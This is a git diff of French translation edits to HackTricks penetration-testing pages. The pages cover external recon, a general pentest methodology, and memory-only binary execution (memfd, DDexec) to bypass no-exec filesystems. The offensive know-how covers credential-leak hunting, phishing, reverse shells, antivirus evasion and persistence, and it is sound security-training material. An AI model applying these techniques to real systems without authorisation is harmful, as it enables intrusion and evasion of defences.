**domaines/sous-domaines (requêtes DNS).** En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver les **IPs précédentes utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours être la propriété du client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) @@ -484,7 +484,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc ### **Recherche de vulnérabilités** -**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. +**Analysez tous les IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. **Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.** @@ -504,7 +504,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **Captures d'écran** -Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des **points de terminaison étranges** qui sont plus **susceptibles** d'être **vulnérables**. +Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des points de terminaison **étranges** qui sont plus **susceptibles** d'être **vulnérables**. Pour mettre en œuvre l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** @@ -512,7 +512,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho ## Actifs Cloud Publics -Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaines">`. +Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaine">`. Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** : @@ -520,7 +520,7 @@ Vous aurez également besoin de listes de mots **couramment utilisés dans les b * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) pour plus d'informations). +Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez la [**Deuxième phase de Brute-Force DNS**](./#second-dns-bruteforce-round) pour plus d'informations). Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** @@ -532,7 +532,7 @@ Si vous trouvez des éléments tels que des **buckets ou des fonctions cloud ouv ## E-mails -Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : +Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous **avez besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : * [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs * API de [**https://hunter.io/**](https://hunter.io/) (version gratuite) @@ -541,29 +541,29 @@ Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essent ### **Recherche de vulnérabilités** -Les e-mails seront utiles plus tard pour **forcer des connexions web et des services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing. +Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing. -## Fuites d'informations d'identification +## Fuites d'identifiants -Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des informations d'identification qui ont été divulguées dans le passé appartenant à ces e-mails : +Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont fuité dans le passé appartenant à ces e-mails : * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Recherche de vulnérabilités** -Si vous trouvez des informations d'identification **divulguées valides**, c'est une victoire très facile. +Si vous trouvez des identifiants qui ont fuité **valides**, c'est une victoire très facile. ## Fuites de secrets -Les fuites d'informations d'identification sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données : +Les fuites d'identifiants sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données : ### Fuites Github -Des informations d'identification et des APIs peuvent être divulguées dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ -Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus. +Des identifiants et des APIs pourraient être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ +Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux. -**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** en tant que parfois les **pages web contiennent également des secrets**. +**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**. #### Dorks Github @@ -575,22 +575,22 @@ Consultez également cette **page** pour des **dorks github potentiels** que vou ### Fuites de Pastes -Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de coller**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ -Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de coller en même temps. +Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de paste**. Cela pourrait ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ +Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps. ### Dorks Google Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. -_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très très rapidement._ +_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très rapidement._ ### **Recherche de vulnérabilités** -Si vous trouvez des informations d'identification ou des jetons API **divulgués valides**, c'est une victoire très facile. +Si vous trouvez des identifiants ou des jetons API qui ont fuité **valides**, c'est une victoire très facile. ## Vulnérabilités de Code Public -Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**. +Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités** dessus. **Selon le langage**, il existe différents **outils** que vous pouvez utiliser : @@ -603,9 +603,9 @@ Il existe également des services gratuits qui vous permettent de **scanner des * [**Snyk**](https://app.snyk.io/) ## [**Méthodologie de test d'application Web**](../../network-services-pentesting/pentesting-web/) -La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, c'est pourquoi j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/). +La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/). -Je tiens également à mentionner la section [**Outils open source de scan automatique Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même s'ils ne sont pas censés trouver des vulnérabilités très sensibles, ils sont utiles pour implémenter des **flux de travail pour obtenir des informations web initiales.** +Je tiens également à mentionner la section [**Outils open source de scanners automatiques Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales.** ## Récapitulatif @@ -619,11 +619,11 @@ Donc, vous avez déjà : 4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?) 5. Trouvé tous les **IP** (à partir et **non à partir de CDN**) dans le périmètre. 6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?) -7. Trouvé tous les **actifs publics du cloud** appartenant à l'entreprise. +7. Trouvé tous les **actifs potentiels dans le cloud public** appartenant à l'entreprise. 8. **Emails**, **fuites d'identifiants**, et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**. -9. **Pentester tous les sites web que vous avez trouvés** +9. **Testé en pentestant tous les sites web que vous avez trouvés** -## **Outils automatiques de reconnaissance complète** +## **Outils automatiques de reconnaissance complets** Il existe plusieurs outils qui effectueront une partie des actions proposées contre un périmètre donné. @@ -636,9 +636,9 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co * Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-Si vous êtes intéressé par une **carrière en hacking** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index b028b7ff9..cc109b1c4 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.** -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). @@ -28,11 +28,11 @@ _Logos Hacktricks conçus par_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- Attaques Physiques -Avez-vous un **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/). +Avez-vous **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/). ### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/) -**En fonction** du **test** que vous effectuez, qu'il s'agisse d'un **test interne ou externe**, vous pouvez être intéressé par la recherche des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou par la **recherche des actifs de l'entreprise sur Internet** (test externe). +**En fonction** du **test** que vous effectuez, qu'il s'agisse d'un **test interne ou externe**, vous pouvez être intéressé par la recherche des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou par la recherche des **actifs de l'entreprise sur Internet** (test externe). {% hint style="info" %} Notez que si vous effectuez un test externe et que vous parvenez à accéder au réseau interne de l'entreprise, vous devriez recommencer ce guide. @@ -45,7 +45,7 @@ Avant d'attaquer un hôte, vous préférerez peut-être **voler des identifiants ### 3- [Balayage de ports - Découverte de services](pentesting-network/#scanning-hosts) -La première chose à faire lorsque vous **cherchez des vulnérabilités dans un hôte** est de savoir quels **services sont en cours d'exécution sur quels ports. Voyons les [**outils de base pour scanner les ports des hôtes**](pentesting-network/#scanning-hosts). +La première chose à faire lorsque vous cherchez des vulnérabilités dans un hôte est de savoir quels **services sont en cours d'exécution sur quels ports**. Voyons les [**outils de base pour balayer les ports des hôtes**](pentesting-network/#scanning-hosts). ### **4-** [Recherche d'exploits de version de service](search-exploits.md) @@ -60,25 +60,25 @@ S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vou **Je tiens à mentionner spécialement la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\ Également, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici. -**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute.** Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a). +**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute**. Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a). #### 5.1 Outils Automatiques Il existe également plusieurs outils qui peuvent effectuer des **évaluations automatiques des vulnérabilités**. **Je vous recommande d'essayer** [**Legion**](https://github.com/carlospolop/legion)**, qui est l'outil que j'ai créé et qui est basé sur les notes sur le pentesting des services que vous pouvez trouver dans ce livre.** -#### **5.2 Brute-Force de services** +#### **5.2 Brute-Forcing des services** -Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute de services**](brute-force.md)**.** +Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute sur les services**](brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer un phishing** pour pénétrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/): +Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer le phishing** pour pénétrer dans le réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/): ### **7-** [**Obtention d'un Shell**](shells/) D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un shell inversé serait très utile](shells/). -Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\ +Particulièrement sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\ ### 8- À l'intérieur @@ -119,14 +119,14 @@ Trouvez ici différentes façons de [**dump les mots de passe dans Windows**](br #### 11.2 - Persistance -**Utilisez 2 ou 3 types différents de mécanismes de persistance pour ne pas avoir besoin d'exploiter à nouveau le système.**\ +**Utilisez 2 ou 3 types différents de mécanismes de persistance afin de ne pas avoir besoin d'exploiter à nouveau le système.**\ **Ici, vous pouvez trouver quelques** [**astuces de persistance sur l'annuaire actif**](../windows-hardening/active-directory-methodology/#persistence)**.** -À FAIRE : Compléter la persistance Post dans Windows & Linux +TODO: Compléter la persistance Post dans Windows & Linux ### 12 - Pivotage -Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\ +Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la Méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\ Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un article parlant de tunneling**](tunneling-and-port-forwarding.md).\ Vous devriez également consulter l'article sur la [Méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, élever les privilèges et dump les identifiants.\ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans les environnements Windows. @@ -149,9 +149,9 @@ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela po * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Oracle de rembourrage**](../cryptography/padding-oracle-priv.md) -
+
-Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_polonais écrit et parlé couramment requis_). +Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 5ec013f69..bd1fb1a80 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -14,7 +14,7 @@ Autres façons de soutenir HackTricks : -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). @@ -24,12 +24,12 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi Dans les vidéos suivantes, vous trouverez les techniques mentionnées sur cette page expliquées plus en détail : -* [**DEF CON 31 - Exploration de la manipulation de la mémoire Linux pour la discrétion et l'évasion**](https://www.youtube.com/watch?v=poHirez8jk4) +* [**DEF CON 31 - Exploration de la manipulation de la mémoire Linux pour la furtivité et l'évasion**](https://www.youtube.com/watch?v=poHirez8jk4) * [**Intrusions furtives avec DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) ## Scénario lecture seule / pas d'exécution -Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est aussi simple de lancer un conteneur avec un système de fichiers en ro en définissant **`readOnlyRootFilesystem: true`** dans le `securitycontext` : +Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est facile d'exécuter un conteneur avec un système de fichiers en ro en définissant simplement **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
apiVersion: v1
 kind: Pod
@@ -44,7 +44,7 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc il est faux de penser que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**. +Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc en réalité, nous pouvons écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**. {% hint style="warning" %} D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et l'exécution** de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme `kubectl`). @@ -58,28 +58,28 @@ Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d' ## Contournements de la mémoire -Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant à partir de la mémoire, car les **protections ne s'appliquent pas là**. +Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant depuis la mémoire, car les **protections ne s'appliquent pas là**. ### Contournement de l'appel système FD + exec -Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter en mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**. +Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**. Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant la syscall `create_memfd` et un appel à l'appel système **exec** pour l'exécuter. {% hint style="warning" %} -Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont aucun moyen **par défaut d'appeler des appels système bruts** à partir d'un script, il n'est donc pas possible d'appeler `create_memfd` pour créer le **fd en mémoire** pour stocker le binaire. +Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de **moyen par défaut d'appeler des appels système bruts** à partir d'un script, il n'est donc pas possible d'appeler `create_memfd` pour créer le **fd en mémoire** pour stocker le binaire. De plus, la création d'un **fd régulier** avec un fichier dans `/dev/shm` ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de la **protection no-exec** qui s'appliquera. {% endhint %} ### DDexec / EverythingExec -[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) est une technique qui vous permet de **modifier la mémoire de votre propre processus** en écrasant son **`/proc/self/mem`**. +[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) est une technique qui vous permet de **modifier la mémoire de votre propre processus** en écrivant dans son **`/proc/self/mem`**. Par conséquent, en **contrôlant le code assembleur** qui est exécuté par le processus, vous pouvez écrire un **shellcode** et "muter" le processus pour **exécuter n'importe quel code arbitraire**. {% hint style="success" %} -**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** à partir de la **mémoire**. +**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** depuis la **mémoire**. {% endhint %} ```bash # Basic example @@ -93,13 +93,13 @@ Pour plus d'informations sur cette technique, consultez le Github ou : ### MemExec -[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **shellcode demonisé DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**. +[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **démon de shellcode DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**. Vous pouvez trouver un exemple de l'utilisation de **memexec pour exécuter des binaires à partir d'un shell PHP inversé** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen -Dans un but similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet une **manière plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances. +Avec un objectif similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet un **moyen plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances. ## Contournement de Distroless @@ -131,7 +131,7 @@ Cependant, dans ce type de conteneurs, ces protections existent généralement, Vous pouvez trouver des **exemples** sur la façon d'**exploiter certaines vulnérabilités RCE** pour obtenir des **shells inversés de langages de script** et exécuter des binaires en mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 7d5143001..633409b27 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,14 +2,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
